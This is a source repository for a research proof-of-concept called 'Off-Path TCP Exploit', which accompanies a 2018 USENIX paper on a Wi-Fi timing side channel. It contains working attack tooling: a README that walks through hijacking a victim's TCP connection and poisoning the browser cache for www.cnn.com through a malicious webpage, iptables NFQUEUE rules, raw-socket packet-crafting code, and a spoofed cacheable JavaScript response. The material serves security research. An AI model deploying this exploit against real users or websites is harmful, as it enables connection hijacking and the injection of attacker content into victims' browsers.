├── .gitignore
├── LICENSE
├── README.md
├── client
└── src
│ ├── google-script.js
│ ├── index.html
│ ├── pacman.js
│ ├── pacman10-hp-sprite-2.png
│ ├── pacman10-hp-sprite.png
│ └── pacman10-hp.png
└── server
├── iptables.sh
└── src
├── Makefile
├── build.sh
├── callback.txt
├── hping2.c
├── hping2.h
├── http.txt
├── main.c
├── packet.h
├── parse.c
├── parse.h
├── sendtcp.c
├── server.c
├── server.h
└── websocket
├── Makefile
├── base64.c
├── base64.h
├── main.c
├── sha1.c
├── sha1.h
├── websocket.c
└── websocket.h
/.gitignore:
--------------------------------------------------------------------------------
1 | #os file
2 | .DS_Store
3 |
4 | #compile file
5 | *.o
6 |
7 | #output
8 | server/src/server
9 | server/src/websocket/websocket
10 |
11 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction, and
10 | distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by the copyright
13 | owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all other entities
16 | that control, are controlled by, or are under common control with that entity.
17 | For the purposes of this definition, "control" means (i) the power, direct or
18 | indirect, to cause the direction or management of such entity, whether by
19 | contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the
20 | outstanding shares, or (iii) beneficial ownership of such entity.
21 |
22 | "You" (or "Your") shall mean an individual or Legal Entity exercising
23 | permissions granted by this License.
24 |
25 | "Source" form shall mean the preferred form for making modifications, including
26 | but not limited to software source code, documentation source, and configuration
27 | files.
28 |
29 | "Object" form shall mean any form resulting from mechanical transformation or
30 | translation of a Source form, including but not limited to compiled object code,
31 | generated documentation, and conversions to other media types.
32 |
33 | "Work" shall mean the work of authorship, whether in Source or Object form, made
34 | available under the License, as indicated by a copyright notice that is included
35 | in or attached to the work (an example is provided in the Appendix below).
36 |
37 | "Derivative Works" shall mean any work, whether in Source or Object form, that
38 | is based on (or derived from) the Work and for which the editorial revisions,
39 | annotations, elaborations, or other modifications represent, as a whole, an
40 | original work of authorship. For the purposes of this License, Derivative Works
41 | shall not include works that remain separable from, or merely link (or bind by
42 | name) to the interfaces of, the Work and Derivative Works thereof.
43 |
44 | "Contribution" shall mean any work of authorship, including the original version
45 | of the Work and any modifications or additions to that Work or Derivative Works
46 | thereof, that is intentionally submitted to Licensor for inclusion in the Work
47 | by the copyright owner or by an individual or Legal Entity authorized to submit
48 | on behalf of the copyright owner. For the purposes of this definition,
49 | "submitted" means any form of electronic, verbal, or written communication sent
50 | to the Licensor or its representatives, including but not limited to
51 | communication on electronic mailing lists, source code control systems, and
52 | issue tracking systems that are managed by, or on behalf of, the Licensor for
53 | the purpose of discussing and improving the Work, but excluding communication
54 | that is conspicuously marked or otherwise designated in writing by the copyright
55 | owner as "Not a Contribution."
56 |
57 | "Contributor" shall mean Licensor and any individual or Legal Entity on behalf
58 | of whom a Contribution has been received by Licensor and subsequently
59 | incorporated within the Work.
60 |
61 | 2. Grant of Copyright License.
62 |
63 | Subject to the terms and conditions of this License, each Contributor hereby
64 | grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free,
65 | irrevocable copyright license to reproduce, prepare Derivative Works of,
66 | publicly display, publicly perform, sublicense, and distribute the Work and such
67 | Derivative Works in Source or Object form.
68 |
69 | 3. Grant of Patent License.
70 |
71 | Subject to the terms and conditions of this License, each Contributor hereby
72 | grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free,
73 | irrevocable (except as stated in this section) patent license to make, have
74 | made, use, offer to sell, sell, import, and otherwise transfer the Work, where
75 | such license applies only to those patent claims licensable by such Contributor
76 | that are necessarily infringed by their Contribution(s) alone or by combination
77 | of their Contribution(s) with the Work to which such Contribution(s) was
78 | submitted. If You institute patent litigation against any entity (including a
79 | cross-claim or counterclaim in a lawsuit) alleging that the Work or a
80 | Contribution incorporated within the Work constitutes direct or contributory
81 | patent infringement, then any patent licenses granted to You under this License
82 | for that Work shall terminate as of the date such litigation is filed.
83 |
84 | 4. Redistribution.
85 |
86 | You may reproduce and distribute copies of the Work or Derivative Works thereof
87 | in any medium, with or without modifications, and in Source or Object form,
88 | provided that You meet the following conditions:
89 |
90 | You must give any other recipients of the Work or Derivative Works a copy of
91 | this License; and
92 | You must cause any modified files to carry prominent notices stating that You
93 | changed the files; and
94 | You must retain, in the Source form of any Derivative Works that You distribute,
95 | all copyright, patent, trademark, and attribution notices from the Source form
96 | of the Work, excluding those notices that do not pertain to any part of the
97 | Derivative Works; and
98 | If the Work includes a "NOTICE" text file as part of its distribution, then any
99 | Derivative Works that You distribute must include a readable copy of the
100 | attribution notices contained within such NOTICE file, excluding those notices
101 | that do not pertain to any part of the Derivative Works, in at least one of the
102 | following places: within a NOTICE text file distributed as part of the
103 | Derivative Works; within the Source form or documentation, if provided along
104 | with the Derivative Works; or, within a display generated by the Derivative
105 | Works, if and wherever such third-party notices normally appear. The contents of
106 | the NOTICE file are for informational purposes only and do not modify the
107 | License. You may add Your own attribution notices within Derivative Works that
108 | You distribute, alongside or as an addendum to the NOTICE text from the Work,
109 | provided that such additional attribution notices cannot be construed as
110 | modifying the License.
111 | You may add Your own copyright statement to Your modifications and may provide
112 | additional or different license terms and conditions for use, reproduction, or
113 | distribution of Your modifications, or for any such Derivative Works as a whole,
114 | provided Your use, reproduction, and distribution of the Work otherwise complies
115 | with the conditions stated in this License.
116 |
117 | 5. Submission of Contributions.
118 |
119 | Unless You explicitly state otherwise, any Contribution intentionally submitted
120 | for inclusion in the Work by You to the Licensor shall be under the terms and
121 | conditions of this License, without any additional terms or conditions.
122 | Notwithstanding the above, nothing herein shall supersede or modify the terms of
123 | any separate license agreement you may have executed with Licensor regarding
124 | such Contributions.
125 |
126 | 6. Trademarks.
127 |
128 | This License does not grant permission to use the trade names, trademarks,
129 | service marks, or product names of the Licensor, except as required for
130 | reasonable and customary use in describing the origin of the Work and
131 | reproducing the content of the NOTICE file.
132 |
133 | 7. Disclaimer of Warranty.
134 |
135 | Unless required by applicable law or agreed to in writing, Licensor provides the
136 | Work (and each Contributor provides its Contributions) on an "AS IS" BASIS,
137 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied,
138 | including, without limitation, any warranties or conditions of TITLE,
139 | NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are
140 | solely responsible for determining the appropriateness of using or
141 | redistributing the Work and assume any risks associated with Your exercise of
142 | permissions under this License.
143 |
144 | 8. Limitation of Liability.
145 |
146 | In no event and under no legal theory, whether in tort (including negligence),
147 | contract, or otherwise, unless required by applicable law (such as deliberate
148 | and grossly negligent acts) or agreed to in writing, shall any Contributor be
149 | liable to You for damages, including any direct, indirect, special, incidental,
150 | or consequential damages of any character arising as a result of this License or
151 | out of the use or inability to use the Work (including but not limited to
152 | damages for loss of goodwill, work stoppage, computer failure or malfunction, or
153 | any and all other commercial damages or losses), even if such Contributor has
154 | been advised of the possibility of such damages.
155 |
156 | 9. Accepting Warranty or Additional Liability.
157 |
158 | While redistributing the Work or Derivative Works thereof, You may choose to
159 | offer, and charge a fee for, acceptance of support, warranty, indemnity, or
160 | other liability obligations and/or rights consistent with this License. However,
161 | in accepting such obligations, You may act only on Your own behalf and on Your
162 | sole responsibility, not on behalf of any other Contributor, and only if You
163 | agree to indemnify, defend, and hold each Contributor harmless for any liability
164 | incurred by, or claims asserted against, such Contributor by reason of your
165 | accepting any such warranty or additional liability.
166 |
167 | END OF TERMS AND CONDITIONS
168 |
169 | APPENDIX: How to apply the Apache License to your work
170 |
171 | To apply the Apache License to your work, attach the following boilerplate
172 | notice, with the fields enclosed by brackets "{}" replaced with your own
173 | identifying information. (Don't include the brackets!) The text should be
174 | enclosed in the appropriate comment syntax for the file format. We also
175 | recommend that a file or class name and description of purpose be included on
176 | the same "printed page" as the copyright notice for easier identification within
177 | third-party archives.
178 |
179 | Copyright 2017 CwT0
180 |
181 | Licensed under the Apache License, Version 2.0 (the "License");
182 | you may not use this file except in compliance with the License.
183 | You may obtain a copy of the License at
184 |
185 | http://www.apache.org/licenses/LICENSE-2.0
186 |
187 | Unless required by applicable law or agreed to in writing, software
188 | distributed under the License is distributed on an "AS IS" BASIS,
189 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
190 | See the License for the specific language governing permissions and
191 | limitations under the License.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Off-Path TCP Exploit
2 |
3 | We discover a subtle yet serious timing side channel that exists in all generations of IEEE 802.11 or Wi-Fi technology, due to the fact that they are half-duplex. By exploiting the vulnerability, we are able to constrcut reliable and practical off-path TCP injection attacks against the laterst versions of all three major operating systems (macOS, Windows, and Linux). Our attac only requires a devicce connected to the Internet via a wireless router, and be reachable from an attack server. The thread model is that a user is lured to visit a malicious website first and then the puppet (i.e., a malicious javascript) running in a browser collaborates with an off-path adversary to hijack a TCP connection between the client and server for the prupose of injecting a spurious HTTP response that will be cached in the browser. Later on, when the victim accesses to the server, the browser would load the cached object (e.g., a script) rather than request it again. Notice that the victim connection is established and preserved by the puppet who repeatedly includes HTML elements (e.g, images). See [web-cache poisoning atttacks](https://people.eecs.berkeley.edu/~yahel/papers/Browser-Cache-Poisoning.Song.Spring10.attack-project.pdf) for more background.
4 |
5 | ## Supported Platforms
6 | Each branch is maintained for ONE OS. Currently, you're on the branch for Windows.
7 |
8 | #### \*\*[Windows](https://github.com/seclab-ucr/tcp_exploit) (Current Branch)
9 |
10 | [MacOS](https://github.com/seclab-ucr/tcp_exploit/tree/release_mac/)
11 |
12 | ## How to build
13 | 1.1 sudo apt-get install libnetfilter-queue-dev
14 |
15 | 1.2 cd tcp_exploit/server/src
16 |
17 | 1.3 sh build.sh
18 |
19 | ## Notice
20 |
21 | You have to adjust some IP addresses in the source code as follows: Change the IP address of the attacker's machine at line 242 in the file `tcp_exploit/client/index.html`.
22 |
23 | The attack needs to know the exact size of the response to the request "http://www.cnn.com/SPECIALS/map.economy/images/jamie.smith.irpt.tn.jpg". However, the size varies on different machines due to HTTP headers embedded in the response. In the paper, we proposed a solution to automatically determine the size, yet I just manually set the correct value (retrieved from the developer tools in Chrome) to it by adding an option `-DSEQ_DELTA=1638` in the file `tcp_exploit/server/Makefile`. You can also use Wireshark to obtain such information.
24 |
25 | During the attack's process, the TCP receive window size would grow as we keep requesting images. Based on the maximum window size that the client can achieve, you need to adjust the following at line 316 in the file `tcp_exploit/server/src/main.c`:
26 | `#define SEQ_WINDOW MAX_WINDOW_SIZE << 2`
27 | where MAX_WINDOW_SIZE is the maximum window size representing the available space at the receiver's side.
28 |
29 | ## Set up environment
30 | In order to set up the environment, we need one windows machine as the victim and one linux machine as the attacker. Our target website is `www.cnn.com`.
31 |
32 | Network Topology:
33 |
34 | Attacker -------wire----------|
35 | Router ---------wireless-------Victim (client)
36 | Server -------wire----------|
37 |
38 | On the attacker's machine, run the commands below:
39 |
40 | 2.1 cd tcp_exploit/server
41 |
42 | 2.2 sudo sh iptables.sh
43 |
44 | 2.3 cd tcp_exploit/server/src
45 |
46 | 2.4 sudo ./server
47 |
48 | 2.5 cd tcp_exploit/client/src
49 |
50 | 2.6 sudo python -m SimpleHTTPServer 80 (Alternatively, you can access to the malicious code (i.e., tcp_exploit/src/index.html) without setting up the HTTP server if you open the html file in browsers locally.)
51 |
52 | ## How to conduct experiment
53 | 3.1 Launch Chrome and then access to the malicious website (http://attacker's IP address or file:///Path_to_the_dir/tcp_exploit/client/src/index.html)
54 |
55 | 3.2 After the attack program finishes, you can access to the victim's website (i.e. www.cnn.com) to see whether the attack has successfully injected a page cached on the browser.
56 |
57 | ## Disclaimer
58 | This is a reasearch-oriented project. Anyone using it should be aware of the potential risks and responsible for his/her own actions.
59 |
60 | ## Reference
61 | ```
62 | @inproceedings{chen2018off,
63 | title={Off-Path TCP Exploit: How Wireless Routers Can Jeopardize Your Secrets},
64 | author={Chen, Weiteng and Qian, Zhiyun},
65 | booktitle={27th USENIX Security Symposium (USENIX Security 18)},
66 | year={2018},
67 | organization={USENIX Association}
68 | }
69 | ```
70 |
--------------------------------------------------------------------------------
/client/src/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
16 |
17 |
18 | Prepare To Get Wrecked
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
81 |
82 |
94 |
95 |
96 |
97 |
282 |
283 |
--------------------------------------------------------------------------------
/client/src/pacman10-hp-sprite-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/seclab-ucr/tcp_exploit/2895bdf169a2ba1c5517d8a9f900147b9c776f85/client/src/pacman10-hp-sprite-2.png
--------------------------------------------------------------------------------
/client/src/pacman10-hp-sprite.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/seclab-ucr/tcp_exploit/2895bdf169a2ba1c5517d8a9f900147b9c776f85/client/src/pacman10-hp-sprite.png
--------------------------------------------------------------------------------
/client/src/pacman10-hp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/seclab-ucr/tcp_exploit/2895bdf169a2ba1c5517d8a9f900147b9c776f85/client/src/pacman10-hp.png
--------------------------------------------------------------------------------
/server/iptables.sh:
--------------------------------------------------------------------------------
1 | iptables -A INPUT -p tcp --dport 30006 --tcp-flags SYN SYN -j NFQUEUE --queue-num 80
2 | iptables -A INPUT -p tcp --dport 30006 --tcp-flags ACK ACK -j NFQUEUE --queue-num 80
3 | # iptables -A INPUT -p tcp --dport 80 --tcp-flags SYN SYN -j NFQUEUE --queue-num 80
4 | # iptables -A INPUT -p tcp --dport 80 --tcp-flags ACK ACK -j NFQUEUE --queue-num 80
5 |
--------------------------------------------------------------------------------
/server/src/Makefile:
--------------------------------------------------------------------------------
1 | LIBS = -lnfnetlink -lnetfilter_queue -lpthread -lrt
2 | SRC = main.c \
3 | server.c \
4 | sendtcp.c \
5 | hping2.c \
6 | parse.c \
7 | websocket/websocket.c \
8 | websocket/base64.c \
9 | websocket/sha1.c \
10 |
11 |
12 | HEADER = -I/usr/include
13 | CXXFLAGS = -Wall -O2 -DWEBSOCKET -DMYPORT=30006 -DSERVER_HOST="\"www.cnn.com\"" -DSOCKETS_NUM=1 -DAUTO_ADJUST \
14 | -DDEBUG -DSEQ_DELTA=1638
15 | OBJS = $(SRC:%.c=%.o)
16 | CC = g++
17 | all: $(OBJS)
18 | $(CC) -o server $^ $(CXXFLAGS) $(HEADER) $(LIBS)
19 | main.o: main.c server.h hping2.h parse.h websocket/websocket.h
20 | $(CC) $(CXXFLAGS) -c $< -o $@
21 | server.o: server.c server.h websocket/websocket.h
22 | $(CC) $(CXXFLAGS) -c $< -o $@
23 | sendtcp.o: sendtcp.c hping2.h
24 | $(CC) $(CXXFLAGS) -c $< -o $@
25 | hping2.o: hping2.c hping2.h
26 | $(CC) $(CXXFLAGS) -c $< -o $@
27 | parse.o: parse.c parse.h packet.h
28 | $(CC) $(CXXFLAGS) -c $< -o $@
29 | clean:
30 | rm -f *.o
31 | rm -f websocket/*.o
32 |
--------------------------------------------------------------------------------
/server/src/build.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | make clean
3 | pushd websocket
4 | make
5 | popd
6 | make
7 |
8 |
--------------------------------------------------------------------------------
/server/src/callback.txt:
--------------------------------------------------------------------------------
1 | HTTP/1.1 200 OK
2 | Cache-Control: public, max-age=31536000
3 | Content-Length: 28
4 | Content-Type: text/javascript
5 |
6 | websocket.send("ffffffff");
7 |
--------------------------------------------------------------------------------
/server/src/hping2.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include "hping2.h"
8 |
9 | /* globals */
10 | unsigned int
11 | tcp_th_flags = 0,
12 | linkhdr_size, /* physical layer header size */
13 | ip_tos = 0,
14 | set_seqnum = FALSE,
15 | tcp_seqnum = FALSE,
16 | set_ack,
17 | h_if_mtu,
18 | virtual_mtu = DEFAULT_VIRTUAL_MTU,
19 | ip_frag_offset = 0,
20 | signlen,
21 | lsr_length = 0,
22 | ssr_length = 0,
23 | tcp_ack;
24 |
25 |
26 | unsigned short int
27 | data_size = 0;
28 |
29 | float
30 | rtt_min = 0,
31 | rtt_max = 0,
32 | rtt_avg = 0;
33 |
34 | int
35 | sockpacket,
36 | sockraw,
37 | sent_pkt = 0,
38 | recv_pkt = 0,
39 | out_of_sequence_pkt = 0,
40 | sending_wait = DEFAULT_SENDINGWAIT, /* see DEFAULT_SENDINGWAIT */
41 | opt_rawipmode = FALSE,
42 | opt_icmpmode = FALSE,
43 | opt_udpmode = FALSE,
44 | opt_scanmode = FALSE,
45 | opt_listenmode = FALSE,
46 | opt_waitinusec = FALSE,
47 | opt_numeric = FALSE,
48 | opt_gethost = TRUE,
49 | opt_quiet = FALSE,
50 | opt_relid = FALSE,
51 | opt_fragment = FALSE,
52 | opt_df = FALSE,
53 | opt_mf = FALSE,
54 | opt_debug = FALSE,
55 | opt_verbose = FALSE,
56 | opt_winid_order = FALSE,
57 | opt_keepstill = FALSE,
58 | opt_datafromfile= FALSE,
59 | opt_hexdump = FALSE,
60 | opt_contdump = FALSE,
61 | opt_sign = FALSE,
62 | opt_safe = FALSE,
63 | opt_end = FALSE,
64 | opt_traceroute = FALSE,
65 | opt_seqnum = FALSE,
66 | opt_incdport = FALSE,
67 | opt_force_incdport = FALSE,
68 | opt_icmptype = DEFAULT_ICMP_TYPE,
69 | opt_icmpcode = DEFAULT_ICMP_CODE,
70 | opt_rroute = FALSE,
71 | opt_tcpexitcode = FALSE,
72 | opt_badcksum = FALSE,
73 | opt_tr_keep_ttl = FALSE,
74 | opt_tcp_timestamp = FALSE,
75 | opt_tr_stop = FALSE,
76 | opt_tr_no_rtt = FALSE,
77 | opt_rand_dest = FALSE,
78 | opt_rand_source = FALSE,
79 | opt_lsrr = FALSE,
80 | opt_ssrr = FALSE,
81 | opt_cplt_rte = FALSE,
82 | tcp_exitcode = 0,
83 | src_ttl = DEFAULT_TTL,
84 | src_id = -1, /* random */
85 | base_dst_port = DEFAULT_DPORT,
86 | dst_port = DEFAULT_DPORT,
87 | src_port,
88 | sequence = 0,
89 | initsport = DEFAULT_INITSPORT,
90 | src_winsize = DEFAULT_SRCWINSIZE,
91 | src_thoff = (TCPHDR_SIZE >> 2),
92 | count = DEFAULT_COUNT,
93 | ctrlzbind = DEFAULT_BIND,
94 | delaytable_index= 0,
95 | eof_reached = FALSE,
96 | icmp_ip_version = DEFAULT_ICMP_IP_VERSION,
97 | icmp_ip_ihl = DEFAULT_ICMP_IP_IHL,
98 | icmp_ip_tos = DEFAULT_ICMP_IP_TOS,
99 | icmp_ip_tot_len = DEFAULT_ICMP_IP_TOT_LEN,
100 | icmp_ip_id = DEFAULT_ICMP_IP_ID,
101 | icmp_ip_protocol= DEFAULT_ICMP_IP_PROTOCOL,
102 | icmp_ip_srcport = DEFAULT_DPORT,
103 | icmp_ip_dstport = DEFAULT_DPORT,
104 | opt_force_icmp = FALSE,
105 | icmp_cksum = DEFAULT_ICMP_CKSUM,
106 | raw_ip_protocol = DEFAULT_RAW_IP_PROTOCOL;
107 |
108 | /*
109 | * * from R. Stevens's Network Programming
110 | * */
111 | __u16 cksum(__u16 *buf, int nbytes)
112 | {
113 | __u32 sum;
114 | __u16 oddbyte;
115 |
116 | sum = 0;
117 | while (nbytes > 1) {
118 | sum += *buf++;
119 | nbytes -= 2;
120 | }
121 |
122 | if (nbytes == 1) {
123 | oddbyte = 0;
124 | *((__u16 *) &oddbyte) = *(__u16 *) buf;
125 | sum += (oddbyte & 0xff);
126 | }
127 |
128 | sum = (sum >> 16) + (sum & 0xffff);
129 | sum += (sum >> 16);
130 |
131 | /* return a bad checksum with --badcksum
132 | * option */
133 | // if (opt_badcksum) sum ^= 0x5555;
134 |
135 | return (__u16) ~sum;
136 | }
137 |
138 |
139 | void data_handler(char *data, int data_size)
140 | {
141 | if (data_size == 0)
142 | return; /* there is not space left */
143 |
144 | memset(data, 'X', data_size);
145 | }
146 |
147 |
148 |
149 |
150 | void send_ip_handler(int type, int ttl, char* srcIP, char* dstIP, char *packet, unsigned int size)
151 | {
152 | unsigned char ip_optlen = 0;
153 | char* ip_opt = NULL;
154 |
155 | unsigned short fragment_flag = 0;
156 |
157 | send_ip(type, ttl, srcIP,
158 | dstIP,
159 | packet, size, fragment_flag, ip_frag_offset,
160 | ip_opt, ip_optlen);
161 | }
162 |
163 | // type 0 TCP
164 | // type 1 UDP
165 | // type 2 ICMP
166 | void send_ip (int type, int ttl, char* src, char *dst, char *data, unsigned int datalen,
167 | int more_fragments, unsigned short fragoff, char *options,
168 | char optlen)
169 | {
170 | char *packet;
171 | int result,
172 | packetsize;
173 | struct myiphdr *ip;
174 |
175 | packetsize = IPHDR_SIZE + optlen + datalen;
176 | if ( (packet = (char*)malloc(packetsize)) == NULL) {
177 | perror("[send_ip] malloc()");
178 | return;
179 | }
180 |
181 | memset(packet, 0, packetsize);
182 | ip = (struct myiphdr*) packet;
183 |
184 | struct sockaddr_in srcAddr;
185 | struct sockaddr_in dstAddr;
186 | srcAddr.sin_family = AF_INET;
187 | dstAddr.sin_family = AF_INET;
188 | // store this IP address in struct sockaddr_in:
189 | inet_pton(AF_INET, src, &(srcAddr.sin_addr));
190 | inet_pton(AF_INET, dst, &(dstAddr.sin_addr));
191 |
192 | /* copy src and dst address */
193 | memcpy(&ip->saddr, (char*)&srcAddr.sin_addr, sizeof(ip->saddr));
194 | memcpy(&ip->daddr, (char*)&dstAddr.sin_addr, sizeof(ip->daddr));
195 |
196 | // memcpy(&ip->saddr, src, sizeof(ip->saddr));
197 | // memcpy(&ip->daddr, dst, sizeof(ip->daddr));
198 |
199 | /* build ip header */
200 | ip->version = 4;
201 | ip->ihl = (IPHDR_SIZE + optlen + 3) >> 2;
202 | ip->tos = ip_tos;
203 |
204 | #if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI
205 | /* FreeBSD */
206 | /* NetBSD */
207 | ip->tot_len = packetsize;
208 | #else
209 | /* Linux */
210 | /* OpenBSD */
211 | ip->tot_len = htons(packetsize);
212 | #endif
213 |
214 | if (!opt_fragment)
215 | {
216 | ip->id = (src_id == -1) ?
217 | htons((unsigned short) rand()) :
218 | htons((unsigned short) src_id);
219 | }
220 | else /* if you need fragmentation id must not be randomic */
221 | {
222 | /* FIXME: when frag. enabled sendip_handler
223 | * shold inc. ip->id */
224 | /* for every frame sent */
225 | ip->id = (src_id == -1) ?
226 | htons(getpid() & 255) :
227 | htons((unsigned short) src_id);
228 | }
229 |
230 | #if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD | defined OSTYPE_BSDI
231 | /* FreeBSD */
232 | /* NetBSD */
233 | ip->frag_off |= more_fragments;
234 | ip->frag_off |= fragoff >> 3;
235 | #else
236 | /* Linux */
237 | /* OpenBSD */
238 | ip->frag_off |= htons(more_fragments);
239 | ip->frag_off |= htons(fragoff >> 3); /* shift three flags bit */
240 | #endif
241 |
242 | ip->ttl = ttl;
243 | if (type == 2) ip->protocol = 1; /* icmp */
244 | else if (type == 1) ip->protocol = 17; /* udp */
245 | else if (type == 0) ip->protocol = 6; /* tcp */
246 | ip->check = 0; /* always computed by the kernel */
247 |
248 | /* copies options */
249 | if (options != NULL)
250 | memcpy(packet+IPHDR_SIZE, options, optlen);
251 |
252 | /* copies data */
253 | memcpy(packet + IPHDR_SIZE + optlen, data, datalen);
254 |
255 |
256 |
257 |
258 | result = sendto(sockraw, packet, packetsize, 0,
259 | (struct sockaddr*)&dstAddr, sizeof(struct sockaddr));
260 |
261 | if (result == -1 && errno != EINTR && !opt_rand_dest && !opt_rand_source) {
262 | perror("[send_ip] sendto");
263 | if (close(sockraw) == -1)
264 | perror("[ipsender] close(sockraw)");
265 | #if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP)
266 | // if (close_pcap() == -1)
267 | // printf("[ipsender] close_pcap failed\n");
268 | #else
269 | if (close_sockpacket(sockpacket) == -1)
270 | perror("[ipsender] close(sockpacket)");
271 | #endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */
272 | exit(1);
273 | }
274 | // printf("success\n");
275 |
276 | free(packet);
277 |
278 | /* inc packet id for safe protocol */
279 | if (opt_safe && !eof_reached)
280 | src_id++;
281 | }
282 |
283 |
284 |
285 | int open_sockraw()
286 | {
287 | int s;
288 | int optval = 1;
289 |
290 | s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
291 | setsockopt(s, IPPROTO_TCP, TCP_NODELAY, &optval, sizeof optval);
292 | if (s == -1) {
293 | perror("[open_sockraw] socket()");
294 | return -1;
295 | }
296 |
297 | return s;
298 | }
299 |
300 |
301 |
302 |
303 |
304 | static void enlarge_recvbuf(int fd)
305 | {
306 | int val = 131070;
307 | int len = sizeof(val);
308 |
309 | /* Don't check the error: non fatal */
310 | setsockopt(fd, SOL_SOCKET, SO_RCVBUF, (const char *) &val, len);
311 | }
312 |
313 | int open_sockpacket(int portno)
314 | {
315 | int s;
316 |
317 | if (opt_debug)
318 | printf("DEBUG: Trying to open PF_PACKET socket... ");
319 |
320 | // s = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));
321 | #define ETH_P_ALL 0x0003
322 | // s = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ALL));
323 | s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
324 | int tmp = 1;
325 | const int *val = &tmp;
326 | setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp));
327 |
328 |
329 |
330 | if (s == -1) {
331 | if (opt_debug) {
332 | printf("DEBUG: failed ( 2.0.x kernel? )\n");
333 | printf("DEBUG: Trying to open SOCK_PACKET socket... ");
334 | }
335 | s = socket(AF_INET, SOCK_PACKET, htons(ETH_P_IP));
336 | }
337 |
338 | if (s == -1) {
339 | perror("[open_sockpacket] socket()");
340 | return -1;
341 | }
342 | enlarge_recvbuf(s);
343 |
344 | struct sockaddr_in serv_addr;
345 | bzero((char *) &serv_addr, sizeof(serv_addr));
346 | serv_addr.sin_family = AF_INET;
347 | serv_addr.sin_addr.s_addr = INADDR_ANY;
348 | serv_addr.sin_port = htons(portno);
349 | /* if (bind(s, (struct sockaddr *) &serv_addr,
350 | sizeof(serv_addr)) < 0)
351 | {
352 | perror("ERROR on binding");
353 | }
354 | */
355 |
356 | if (opt_debug)
357 | printf("DEBUG: PF_PACKET, SOCK_RAW open OK\n");
358 |
359 | return s;
360 | }
361 |
362 | int close_sockpacket(int s)
363 | {
364 | return close(s);
365 | }
366 |
367 |
--------------------------------------------------------------------------------
/server/src/hping2.h:
--------------------------------------------------------------------------------
1 | /*
2 | * $smu-mark$
3 | * $name: hping2.h$
4 | * $author: Salvatore Sanfilippo $
5 | * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
6 | * $license: This software is under GPL version 2 of license$
7 | * $date: Fri Nov 5 11:55:48 MET 1999$
8 | * $rev: 9$
9 | */
10 |
11 | /* $Id: hping2.h,v 1.19 2003/08/07 23:55:55 antirez Exp $ */
12 |
13 | #ifndef _HPING2_H
14 | #define _HPING2_H
15 |
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 |
22 | //#include "byteorder.h"
23 | //#include "systype.h"
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 | #ifdef __sun__
34 | typedef char int_8_t;
35 | typedef unsigned char u_int8_t;
36 | typedef short int_16_t;
37 | typedef unsigned short u_int16_t;
38 | typedef int int_32_t;
39 | typedef unsigned int u_int32_t;
40 | #endif
41 |
42 | /* types */
43 | #ifndef __u8
44 | #define __u8 u_int8_t
45 | #endif /* __u8 */
46 | #ifndef __u16
47 | #define __u16 u_int16_t
48 | #endif /* __u16 */
49 | #ifndef __u32
50 | #define __u32 u_int32_t
51 | #endif /* __u32 */
52 |
53 | #ifndef __uint8_t
54 | #define __uint8_t u_int8_t
55 | #endif /* __uint8_t */
56 | #ifndef __uint16_t
57 | #define __uint16_t u_int16_t
58 | #endif /* __uint16_t */
59 | #ifndef __uint32_t
60 | #define __uint32_t u_int32_t
61 | #endif /* __uint32_t */
62 |
63 | //#include "hcmp.h" /* Hping Control Message Protocol */
64 |
65 | /* protocols header size */
66 | #ifndef ICMPHDR_SIZE
67 | #define ICMPHDR_SIZE sizeof(struct myicmphdr)
68 | #endif
69 | #ifndef UDPHDR_SIZE
70 | #define UDPHDR_SIZE sizeof(struct myudphdr)
71 | #endif
72 | #ifndef TCPHDR_SIZE
73 | #define TCPHDR_SIZE sizeof(struct mytcphdr)
74 | #endif
75 | #ifndef IPHDR_SIZE
76 | #define IPHDR_SIZE sizeof(struct myiphdr)
77 | #endif
78 |
79 | /* wait X seconds after reached to sent packets in oreder to display replies */
80 | #define COUNTREACHED_TIMEOUT 8
81 |
82 | /* requests status table stuffs */
83 | /* Warning, TABLESIZE 0 == floating point exception */
84 | #define TABLESIZE 400
85 | #define S_SENT 0
86 | #define S_RECV 1
87 |
88 | /* usefull defines */
89 | #ifndef TRUE
90 | #define TRUE 1
91 | #define FALSE 0
92 | #endif
93 | #ifndef IFNAMSIZ
94 | #define IFNAMSIZ 16
95 | #endif
96 | #ifndef PF_PACKET
97 | #define PF_PACKET 17 /* kernel 2.[12].* with 2.0.* kernel headers? */
98 | #endif
99 | #ifndef ETH_P_IP
100 | #define ETH_P_IP 0x0800 /* Internet Protocol packet */
101 | #endif
